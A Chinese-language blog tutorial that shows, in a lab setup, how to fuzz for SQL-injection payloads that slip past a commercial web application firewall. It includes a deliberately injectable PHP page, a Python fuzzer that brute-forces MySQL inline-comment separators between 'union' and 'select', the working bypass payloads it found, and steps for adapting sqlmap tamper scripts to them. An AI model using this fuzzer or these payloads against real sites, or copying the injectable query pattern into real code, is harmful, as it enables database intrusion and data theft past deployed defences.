Python Fuzzing脚本编写学习

你的时间有限,所以不要为别人而活。不要被教条所限,不要活在别人的观念里。不要让别人的意见左右自己内心的声音。最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实想法,其他一切都是次要。
—– 乔布斯

前言

脚本很简单,练练手。

站点安装了最新的safe狗,简单搭建了一个注入页面进行注入测试。



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$conn = mysql_connect('localhost', 'root', '123456') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");

$id = isset($_GET['id']) ? $_GET['id'] : 1;
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Test demo</title>
</head>
<body>
<?php
echo $sql;
$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "<h3>{$row['title']}<br /> {$row['content']}";
mysql_free_result($result);
?>
</body>
</html>

先关闭WAF,手动测试。

正常。

开启WAF,手动测试。

拦截。

Fuzzing脚本编写

使用MySQL内联注释来对其进行绕过

MySQL注释

1
/**/

在 /* 后加上! 里边的语句也依旧会执行

1
/*!select * from xxx*/

url:http://192.168.25.133/sql.php?id=1

编写py脚本来进行fuzzing union和select之间的空格,只嵌套了四层,对这个脚本也还没进行优化,因为收集了另外一些比较好的Fuzz脚本,完了在学习学习

id=1的时候所出现的值为hhhhtest,所以只判断当加入了payload时,此值会不会出现在页面中,以此来判断是否成功

运行脚本前记得把waf的防cc攻击关闭,不然会ban ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!-*- coding:utf-8 -*-
#!/usr/bin/env python

import requests, sys

fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']
fuzz_sz = ['']
fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']

fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

url_start = 'http://192.168.25.133/sql.php?id=1'

lens = len(fuzz)**4
num = 0
#只嵌套了4层
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
num += 1
payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + payload
print("Now URL:" + url)
print "Process %s / %s"%(num,str(lens))
# sys.stdout.write("Process:%s / %s \r"%(num,str(lens)))
# sys.stdout.flush()
res = requests.get(url,headers=headers)
if "hhhhtest" in res.text:
with open('Result.txt','a') as r:
r.write(url + "\n")

所获payload:
http://192.168.25.133/sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3

http://192.168.25.133/sql.php?id=1/*!union*//*/*%/**//*!select*/%201,2,3

没有被拦截,当然下一步骤如果要找表名列名也还是会被拦截,因为会对一些系统函数以及特殊关键字进行一定的拦截,这个绕过就属于其他方法。

绕过空格的也不能说很鸡肋,也学习到了一个特性,mysql函数的字母和括号之间是可以用空格的。

所以根据这个特性,对其来使用payload进行绕过。

因为查询出来了两条数据,而只有一个显位,所以要将上一条语句报错,从而使得下一条语句的结果输出到上一条语句的位置上。

在这还要说一下的就是union注入的条件:1、相同的列数,2、相似的数据编码,3、相同的数据类型。

OJBK。

修改sqlmap进行注入绕过

sqlmap无疑是自动化注入的神器,当我们测出payload但是工具却注入不了,除了以前学习的修改sqlmap源码中的发包方式,二来就是需要我们去写sqlmap脚本。

先查看两个脚本:
versionedkeywords————用mysql注释包围每个关键字
versionedmorekeywords————用mysql注释包围每个非函数关键字


发现脚本中将关键字都被/*!xxx*/所包围

用sqlmap跑一下看内置的内不能过了WAF

我们得到的这款payload:

1
2
sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3
sql.php?id=1/*!union*//*/*%/**//*!select*/ 1,2,3

原视频中测试的payload

1
sql.php?id=1 /*!/*!union*//*!/*!select*/ 1,2,3

修改起来很简单,直接在原来的/*!前边再重复一次就可以了

然后指定脚本就可以对目标URL进行注入了。

fuzz之后可以对比一下,看payload有没有特定的规律,对fuzz payload的位置进行一些测试

方法一:修改发包函数:

还是老办法啦,在发包函数中进行修改,因为这里测试的是union查询,所以直接修改union发包函数,在里边加上我们的payload


OK,发包也满足我们所测试得出payload的基本格式,实际拿过去测试也是OK,但是sqlmap并没有测成功。

因为对于有些关键字进行了绕过,而对于很多sqlmap发包时的比如像一些函数,他并不会把函数名称和括号进行这样的匹配,总的来说想要探其根源还是得老老实实把sqlmap这款优秀工具的源码读一遍,留作业。

方法二:修改tamper脚本

测试得到的两款payload,都差不多,只不过是一个闭合了单个关键字的注释一个没有,都是使用/*/*%/**/来将关键字隔开。

针对payload来对tamper脚本进行修改:
因为是使用mysql注释来进行关键字的闭合,所以看一下原脚本是怎么用的,在里边微调一下就OJBK了。


payload中对关键字两边使用了/*!word*/中间的空格使用了/*/*%/**/所以我们将其修改为我们payload所对应的格式并重新保存。

确定脚本中变动的位置

第一个位置:

在关键字的闭合后添加,但是会导致脚本出错,还没读源码

第二个位置:

当检索到payload关键字中*/space,将其更改为*/payload。